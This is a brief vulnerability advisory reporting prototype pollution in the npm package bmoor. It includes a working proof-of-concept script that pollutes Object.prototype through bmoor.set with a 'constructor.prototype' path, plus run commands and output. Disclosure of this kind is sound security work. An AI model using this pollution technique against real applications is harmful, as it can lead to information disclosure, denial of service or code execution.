bmoor
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
// poc.js
const bmoor = require('bmoor');
var obj = {}
console.log("Before : " + {}.polluted);
bmoor.set(obj,"constructor.prototype.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
npm i bmoor # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted